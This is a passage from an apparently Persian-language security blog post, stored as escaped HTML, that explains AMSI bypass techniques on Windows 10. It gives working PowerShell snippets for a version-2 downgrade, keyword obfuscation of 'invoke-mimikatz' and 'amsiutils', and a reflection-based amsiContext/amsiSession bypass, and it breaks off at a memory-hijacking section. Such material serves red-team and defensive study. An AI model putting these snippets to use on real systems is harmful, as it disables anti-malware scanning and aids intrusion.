\u062d\u0648\u0632\u0647\u200c\u06cc AMSI Bypass \u0641\u0631\u0627\u062a\u0631 \u0627\u0632 \u0645\u062d\u062f\u0648\u062f\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u0627\u0633\u062a\u060c \u0686\u0631\u0627 \u06a9\u0647 \u0647\u0631 \u0631\u0648\u0632 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc\u062f\u06cc \u0645\u0639\u0631\u0641\u06cc \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0633\u062a\u0646\u062f\u060c \u062a\u0646\u0647\u0627 \u0628\u0647 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u0628\u0631\u062c\u0633\u062a\u0647 \u0648 \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 \u067e\u0631\u062f\u0627\u062e\u062a\u0647 \u0648 \u0622\u0646\u200c\u0647\u0627 \u0631\u0627 \u0631\u0648\u06cc Windows 10 \u0646\u0633\u062e\u0647 \u06f1\u06f8\u06f0\u06f9 \u0622\u0632\u0645\u0627\u06cc\u0634 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u0634\u0627\u06cc\u0627\u0646 \u0630\u06a9\u0631 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc\u062f\u062a\u0631 \u0648\u06cc\u0646\u062f\u0648\u0632 (\u0628\u0627\u0644\u0627\u062a\u0631 \u0627\u0632 \u06f1\u06f9\u06f0\u06f3)\u060c \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0645\u0633\u062a\u0645\u0631 Signature\u0647\u0627\u060c \u062a\u0642\u0631\u06cc\u0628\u0627\u064b \u062a\u0645\u0627\u0645\u06cc \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u0631\u0627\u06cc\u062c \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0646\u06a9\u062a\u0647:<\/span><br \/>\n<span style=\"font-size: 10pt\">AMSI \u0628\u0631\u062e\u06cc \u06a9\u0644\u06cc\u062f\u0648\u0627\u0698\u0647\u200c\u0647\u0627 \u0645\u0627\u0646\u0646\u062f &#8220;invoke-mimikatz&#8221; \u06cc\u0627 &#8220;amsiutils&#8221; \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0632\u06cc\u0631\u0627 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0631 \u0645\u06cc\u0627\u0646 \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a \u0628\u0647\u200c\u0637\u0648\u0631 \u06af\u0633\u062a\u0631\u062f\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0627\u0628\u0632\u0627\u0631 Exploitation \u0634\u0646\u0627\u062e\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647\u060c \u0635\u0631\u0641\u0627\u064b \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 Proof of Concept (PoC) \u0627\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627 \u067e\u0633 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc Bypass \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645\u060c \u0627\u0645\u0627 \u0647\u06cc\u0686 Payload \u0648\u0627\u0642\u0639\u06cc \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 Bypass \u0646\u062e\u0648\u0627\u0647\u062f \u0634\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a AMSI \u0631\u0627 \u062f\u0631 PowerShell Terminal (\u0628\u0631\u0646\u0627\u0645\u0647 powershell.exe) \u0627\u062f\u063a\u0627\u0645 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0648\u0631\u0648\u062f\u06cc \u06a9\u0627\u0631\u0628\u0631 \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0631\u062f\u0647 \u0648 \u0622\u0646 \u0631\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 PowerShell Engine \u067e\u0631\u062f\u0627\u0632\u0634 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u0628\u0627 \u0627\u0628\u0632\u0627\u0631 Process Hacker \u062c\u0633\u062a\u062c\u0648 \u06a9\u0646\u06cc\u062f\u060c \u0645\u0634\u0627\u0647\u062f\u0647 \u062e\u0648\u0627\u0647\u06cc\u062f \u06a9\u0631\u062f \u06a9\u0647 \u0641\u0627\u06cc\u0644 amsi.dll \u062f\u0631 \u062d\u0627\u0644 \u0627\u062c\u0631\u0627 \u062f\u0631 PowerShell Terminal \u0627\u0633\u062a \u0648 \u0642\u0628\u0644 \u0627\u0632 \u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f\u060c \u0648\u0631\u0648\u062f\u06cc\u200c\u0647\u0627 \u0627\u0628\u062a\u062f\u0627 \u062a\u0648\u0633\u0637 \u0622\u0646 \u0627\u0633\u06a9\u0646 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f.<\/span><\/p>\n<p><img decoding=\"async\" class=\"alignnone  wp-image-20359\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/3-4-300x208.png\" alt=\"\" width=\"567\" height=\"393\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/3-4-300x208.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/3-4-768x532.png 768w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/3-4-150x104.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/3-4.png 973w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0631\u0648\u0634 \u0627\u0648\u0644<\/strong><strong> Powershell Downgrade<\/strong><\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u06a9\u0647 \u06cc\u06a9 <em>PowerShell-based payload<\/em> \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u062f \u0648 AMSI \u0645\u0627\u0646\u0639 \u0627\u062c\u0631\u0627\u06cc \u0622\u0646 \u0634\u0648\u062f\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0646\u0633\u062e\u0647 PowerShell \u0631\u0627 \u0628\u0647 \u06f2\u066b\u06f0 Downgrade \u06a9\u0646\u06cc\u062f\u061b \u0632\u06cc\u0631\u0627 AMSI \u062a\u0646\u0647\u0627 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0628\u0627\u0644\u0627\u062a\u0631 \u0627\u0632 v2.0 \u0631\u0627 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0631\u062f \u06a9\u0647 AMSI \u06a9\u0644\u0645\u0627\u062a \u06a9\u0644\u06cc\u062f\u06cc \u0645\u0627 \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20360\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/4-2-300x131.png\" alt=\"\" width=\"579\" height=\"253\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/4-2-300x131.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/4-2-150x65.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/4-2.png 709w\" sizes=\"(max-width: 579px) 100vw, 579px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0628\u06cc\u0627\u06cc\u06cc\u062f \u0646\u0633\u062e\u0647 \u0641\u0639\u0644\u06cc PowerShell (PS) \u0631\u0627 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u0645\u060c \u0633\u067e\u0633 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u0646\u0633\u062e\u0647 \u06f2 Downgrade \u06a9\u0631\u062f\u0647 \u0648 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0645\u0633\u062f\u0648\u062f\u0634\u062f\u0647 \u0631\u0627 \u0645\u062c\u062f\u062f\u0627\u064b \u0627\u062c\u0631\u0627 \u0646\u0645\u0627\u06cc\u06cc\u0645.<\/span><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">$PSVersionTable\r\n\"amsiutils\"\r\npowershell -version 2\r\n\"amsiutils\"\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20361\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/5-2-276x300.png\" alt=\"\" width=\"519\" height=\"564\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/5-2-276x300.png 276w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/5-2-150x163.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/5-2.png 701w\" sizes=\"(max-width: 519px) 100vw, 519px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0627\u0645\u0627 \u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u0642\u0627\u0628\u0644\u200c\u062a\u0635\u0648\u0631 \u0627\u0633\u062a\u060c \u0628\u0632\u0631\u06af\u200c\u062a\u0631\u06cc\u0646 Drawback \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0622\u0646 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0642\u0627\u0628\u0644\u06cc\u062a\u200c\u0647\u0627 \u06cc\u0627 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a\u200c\u0647\u0627\u06cc \u0645\u062f\u0631\u0646 \u0631\u0648\u06cc PowerShell 2.0 \u0627\u062c\u0631\u0627 \u0646\u062e\u0648\u0627\u0647\u0646\u062f \u0634\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u0628\u06cc\u0627\u06cc\u06cc\u062f \u0628\u0647 \u0628\u0631\u0631\u0633\u06cc \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u062f\u06cc\u06af\u0631 \u0628\u067e\u0631\u062f\u0627\u0632\u06cc\u0645.<\/span><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0631\u0648\u0634 \u062f\u0648\u0645<\/strong><strong> Obfuscation<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt\">Obfuscation \u0628\u0647 \u062a\u06a9\u0646\u06cc\u06a9\u06cc \u0627\u0634\u0627\u0631\u0647 \u062f\u0627\u0631\u062f \u06a9\u0647 \u0637\u06cc \u0622\u0646 \u06a9\u062f \u0628\u0647 \u0634\u06a9\u0644\u06cc \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0648 \u063a\u06cc\u0631\u0642\u0627\u0628\u0644\u200c\u062e\u0648\u0627\u0646\u062f\u0646 \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f. AMSI \u0628\u0631 \u0627\u0633\u0627\u0633 \u0628\u0631\u062e\u06cc <em>Keywords<\/em> \u0645\u0634\u062e\u0635\u060c <em>Signatures<\/em> \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f\u061b \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 Obfuscating \u0627\u06cc\u0646 <em>Keywords<\/em> \u0645\u0624\u062b\u0631 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f. \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u0628\u06cc\u0627\u06cc\u06cc\u062f \u062f\u0633\u062a\u0648\u0631 invoke-mimikatz \u0631\u0627 Obfuscate \u06a9\u0646\u06cc\u0645.<\/span><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Invoke-Mimikatz\r\n\"Inv\u201d+\"o+\"ke\"+\"-Mimi\"+\"katz\"\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20362\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/6-2-300x86.png\" alt=\"\" width=\"509\" height=\"146\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/6-2-300x86.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/6-2-150x43.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/6-2.png 701w\" sizes=\"(max-width: 509px) 100vw, 509px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u062f\u060c \u062a\u0646\u0647\u0627 \u0628\u0627 \u0634\u06a9\u0633\u062a\u0646 \u06cc\u06a9 <em>String<\/em> \u0648 \u0627\u0644\u062d\u0627\u0642 \u0622\u0646\u200c\u0647\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0639\u0645\u0644\u06af\u0631 + \u062a\u0648\u0627\u0646\u0633\u062a\u06cc\u0645 AMSI \u0631\u0627 \u062f\u0648\u0631 \u0628\u0632\u0646\u06cc\u0645.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0627\u06cc\u0646 \u062a\u06a9\u0646\u06cc\u06a9 \u0645\u0639\u0627\u06cc\u0628 \u062e\u0627\u0635 \u062e\u0648\u062f \u0631\u0627 \u062f\u0627\u0631\u062f. \u06cc\u06a9 <em>Payload<\/em> \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u06cc\u06a9 \u06cc\u0627 \u0686\u0646\u062f \u0628\u0627\u0631 \u0628\u0627\u0639\u062b \u0641\u0639\u0627\u0644\u200c\u0634\u062f\u0646 AMSI \u0634\u0648\u062f. \u0639\u0645\u0644\u0627\u064b \u0628\u0633\u06cc\u0627\u0631 \u0632\u0645\u0627\u0646\u200c\u0628\u0631 \u0648 \u067e\u0631 \u0627\u0632 \u0646\u0648\u06cc\u0632 \u0627\u0633\u062a \u06a9\u0647 \u067e\u0633 \u0627\u0632 \u0647\u0631 \u0628\u0627\u0631 \u0627\u062c\u0631\u0627\u06cc \u06cc\u06a9 <em>Payload<\/em>\u060c \u0645\u062c\u0628\u0648\u0631 \u0628\u0647 Obfuscate \u06a9\u0631\u062f\u0646 <em>Keyword<\/em>\u200c\u0647\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u0645\u0648\u0631\u062f\u06cc \u0628\u0627\u0634\u06cc\u0645. \u0628\u0647 \u0647\u0645\u06cc\u0646 \u062f\u0644\u06cc\u0644 \u0645\u0627 \u0627\u06cc\u0646 \u0631\u0627\u0647\u0646\u0645\u0627\u06cc <em>Manual Obfuscation<\/em> \u0627\u0631\u0627\u0626\u0647\u200c\u0634\u062f\u0647 \u062a\u0648\u0633\u0637 @ShitSecure \u0631\u0627 \u062f\u0646\u0628\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0627\u0628\u0632\u0627\u0631 AmsiTrigger \u062a\u0648\u0633\u0637 RhytmStick \u062a\u0648\u0633\u0639\u0647 \u06cc\u0627\u0641\u062a\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u06cc\u06a9 <em>Script\/Payload<\/em> \u0631\u0627 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 AMSI \u0627\u0633\u06a9\u0646 \u06a9\u0631\u062f\u0647 \u0648 \u062f\u0642\u06cc\u0642\u0627\u064b \u0645\u0634\u062e\u0635 \u06a9\u0646\u062f \u06a9\u062f\u0627\u0645 \u062e\u0637\u0648\u0637 \u0645\u0648\u062c\u0628 \u0641\u0639\u0627\u0644\u200c\u0634\u062f\u0646 AMSI \u062e\u0648\u0627\u0647\u0646\u062f \u0634\u062f\u061b \u0633\u067e\u0633 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u0645 \u0647\u0645\u0627\u0646 \u0628\u062e\u0634\u200c\u0647\u0627 \u0631\u0627 Obfuscate \u06a9\u0646\u06cc\u0645. \u0634\u0645\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0631\u0627 \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0646\u06cc\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0627\u06a9\u0646\u0648\u0646 \u0645\u0627 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a\u06cc \u0628\u0647 \u0646\u0627\u0645 demo.ps1 \u0628\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0632\u06cc\u0631 \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u06cc\u0645:<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20363\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/7-2-300x110.png\" alt=\"\" width=\"532\" height=\"195\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/7-2-300x110.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/7-2-150x55.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/7-2.png 526w\" sizes=\"(max-width: 532px) 100vw, 532px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0645\u06cc\u200c\u062e\u0648\u0627\u0647\u06cc\u0645 \u0627\u06cc\u0646 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0631\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 AmsiTrigger \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 AMSI \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u0645. \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0628\u0647 \u0634\u06a9\u0644 \u0632\u06cc\u0631 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f:<\/span><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">.\\demo.ps1\r\n.\\AmsiTrigger.ps1 -i .\\demo.ps1\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20364\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/8-2-300x97.png\" alt=\"\" width=\"547\" height=\"177\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/8-2-300x97.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/8-2-150x48.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/8-2.png 695w\" sizes=\"(max-width: 547px) 100vw, 547px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0627\u06a9\u0646\u0648\u0646 \u0627\u0628\u0632\u0627\u0631 \u062e\u0637\u0648\u0637\u06cc \u0631\u0627 \u06a9\u0647 AMSI \u062f\u0631 \u0622\u0646\u200c\u0647\u0627 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u0645\u0634\u062e\u0635 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0631\u0648\u0634 String Concatenation \u0622\u0646\u200c\u0647\u0627 \u0631\u0627 Obfuscate \u06a9\u0646\u06cc\u0645\u060c \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a:<\/span><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">\"am\"+\"si\"+\"ut\"+\"ils\"\r\n\"in\"+\"vok\"+\"e\"+\"-\"+\"mi\"+\"mik\"+\"atz\"\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20365\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/9-2-300x150.png\" alt=\"\" width=\"556\" height=\"278\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/9-2-300x150.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/9-2-150x75.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/9-2.png 626w\" sizes=\"(max-width: 556px) 100vw, 556px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0627\u06a9\u0646\u0648\u0646 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0628\u0648\u062f\u0647 \u0648 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0627 \u0645\u0648\u0641\u0642\u06cc\u062a AMSI \u0631\u0627 \u062f\u0648\u0631 \u0628\u0632\u0646\u0646\u062f.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20366\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/10-1-300x104.png\" alt=\"\" width=\"539\" height=\"187\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/10-1-300x104.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/10-1-150x52.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/10-1.png 701w\" sizes=\"(max-width: 539px) 100vw, 539px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a <a href=\"https:\/\/amsi.fail\">https:\/\/amsi.fail<\/a> \u0628\u0631\u0627\u06cc Obfuscate \u06a9\u0631\u062f\u0646 \u06a9\u062f \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0631\u0648\u0634 \u0633\u0648\u0645<\/strong><strong>\u00a0Forcing an error<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt\">Matt Graeber \u062f\u0631 \u062a\u0648\u06cc\u06cc\u062a \u062e\u0648\u062f \u0628\u0647 \u0631\u0648\u0634\u06cc \u0628\u0631\u0627\u06cc \u062f\u0648\u0631 \u0632\u062f\u0646 <a href=\"https:\/\/x.com\/mattifestation\/status\/735261120487772160\">AMSI<\/a> \u0627\u0634\u0627\u0631\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u062a\u0627\u0628\u0639 amsiInitFailed() \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc \u0645\u0642\u062f\u0627\u0631 \u06f0 \u0628\u0627\u0632\u0645\u06cc\u200c\u06af\u0631\u062f\u0627\u0646\u062f \u06a9\u0647 \u0633\u0646\u0627\u0631\u06cc\u0648\u0647\u0627\u06cc \u0630\u06a9\u0631\u0634\u062f\u0647 \u062f\u0631 \u0628\u0627\u0644\u0627 \u0628\u0627\u0639\u062b \u0622\u063a\u0627\u0632 \u06cc\u06a9 \u0627\u0633\u06a9\u0646 \u062a\u0648\u0633\u0637 AMSI \u0634\u0648\u0646\u062f. \u0627\u06cc\u0646 \u0631\u0648\u0634 \u062f\u0648\u0631 \u0632\u062f\u0646 \u062f\u0631 \u0627\u0635\u0644 \u0645\u0642\u062f\u0627\u0631 Boolean True \u0631\u0627 \u0628\u0647 amsiInitFailed \u062a\u062e\u0635\u06cc\u0635 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0641\u0631\u0622\u06cc\u0646\u062f AMSI Initialization \u0628\u0627 \u062e\u0637\u0627 \u0645\u0648\u0627\u062c\u0647 \u0634\u0648\u062f\u061b \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0647\u06cc\u0686 \u0627\u0633\u06a9\u0646 \u062f\u06cc\u06af\u0631\u06cc \u0628\u0631\u0627\u06cc <em>Process<\/em> \u062c\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0646\u062e\u0648\u0627\u0647\u062f \u06af\u0631\u0641\u062a. \u06a9\u062f \u0622\u0646 \u0628\u0647 \u0634\u06a9\u0644 \u0632\u06cc\u0631 \u0627\u0633\u062a:<\/span><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)\r\n\r\n[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\",\"NonPublic,Static\").SetValue($null, $null);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiContext\",\"NonPublic,Static\").SetValue($null, [IntPtr]$mem)\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20367\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/11-1-300x90.png\" alt=\"\" width=\"580\" height=\"174\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/11-1-300x90.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/11-1-768x229.png 768w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/11-1-150x45.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/11-1.png 962w\" sizes=\"(max-width: 580px) 100vw, 580px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0627\u0632 \u0622\u0646 \u0632\u0645\u0627\u0646 \u062a\u0627\u06a9\u0646\u0648\u0646\u060c \u0627\u0641\u0631\u0627\u062f \u0632\u06cc\u0627\u062f\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0627\u0632 \u0647\u0645\u0627\u0646 \u0631\u0648\u0634 \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u062f\u0631 \u0628\u0631\u062e\u06cc \u0631\u0648\u0634\u200c\u0647\u0627 \u0627\u0632 Bytecode \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062f\u0631 \u0628\u0631\u062e\u06cc \u062f\u06cc\u06af\u0631 \u062a\u0648\u0627\u0628\u0639 \u06cc\u0627 \u0631\u0634\u062a\u0647\u200c\u0647\u0627 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f\u060c \u0627\u0645\u0627 \u0645\u0646\u0637\u0642 \u0627\u0635\u0644\u06cc \u0631\u0648\u0634 \u06cc\u06a9\u0633\u0627\u0646 \u0628\u0627\u0642\u06cc \u0645\u06cc\u200c\u0645\u0627\u0646\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0631\u0648\u0634 \u0686\u0647\u0627\u0631\u0645<\/strong><strong> Memory Hijacking<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt\">Daniel Duggan \u062f\u0631 \u0648\u0628\u0644\u0627\u06af \u062e\u0648\u062f 